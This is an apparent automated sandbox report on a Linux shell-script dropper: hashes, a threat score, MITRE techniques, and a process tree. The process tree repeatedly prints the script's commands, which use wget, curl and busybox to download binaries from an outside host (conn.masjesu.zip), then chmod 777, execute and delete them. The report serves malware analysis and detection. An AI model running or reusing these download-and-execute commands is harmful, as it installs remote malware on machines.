3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595

Analysis

max time kernel
96s
max time network
98s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
08/11/2024, 02:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595.sh
Size 10KB
Sample241108-cxv7datbnp
SHA256 3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595
MD5 d827b7941f17ddeb6118356e303be6ae
SHA1 15f9e9c418f7dd5e1dfc43e94219d4f7d03e00ed
SHA512 99f1be32503db24dd7e4b47d0abeb76e3d65a0fd49764979d2b0a7372e0a42b46990f7f2eb6e0fc7f8de5f5e8e7eeb5d40faebc588939f0fbd82e4fede7013be
SSDEEP 192:Y3ZrNkcXbH0stE03Wy8QQRrDyJt3rDyJtlrZrNk6bHWE03WyC:WjXbH0stE03Wy8QQRrDyJt3rDyJtD/bD
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
958	chmod
846	chmod
909	chmod
937	chmod
986	chmod
930	chmod
965	chmod
972	chmod
1000	chmod
740	chmod
867	chmod
881	chmod
888	chmod
792	chmod
829	chmod
839	chmod
979	chmod
923	chmod
993	chmod
853	chmod
874	chmod
902	chmod
944	chmod
895	chmod
916	chmod
860	chmod
951	chmod
1007	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
892	curl
906	curl
940	wget
743	wget
744	curl
845	busybox
884	wget
885	curl
943	busybox
968	wget
877	wget
901	busybox
982	wget
989	wget
976	curl
1003	wget
804	curl
838	busybox
878	curl
908	busybox
971	busybox
983	curl
791	busybox
870	wget
915	busybox
936	busybox
975	wget
849	wget
864	curl
978	busybox
997	curl
1006	busybox
843	curl
850	curl
922	busybox
957	busybox
990	curl
905	wget
912	wget
913	curl
955	curl
969	curl
718	wget
894	busybox
962	curl
1004	curl
833	curl
873	busybox
880	busybox
933	wget
737	curl
828	busybox
832	wget
856	wget
964	busybox
795	wget
947	wget
954	wget
996	wget
842	wget
857	curl
859	busybox
920	curl
941	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl

/tmp/3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595.sh
/tmp/3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:739
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - System Network Configuration Discovery
  PID:791
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:794
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:795
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:828
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:831
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - System Network Configuration Discovery
  PID:832
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:841
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:842
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:845
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - System Network Configuration Discovery
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:852
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:866
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:880
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:883
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - System Network Configuration Discovery
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:887
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:897
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:922
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:925
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:929
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:932
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - System Network Configuration Discovery
  PID:936
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:939
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:940
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:946
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:950
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:957
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:960
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:967
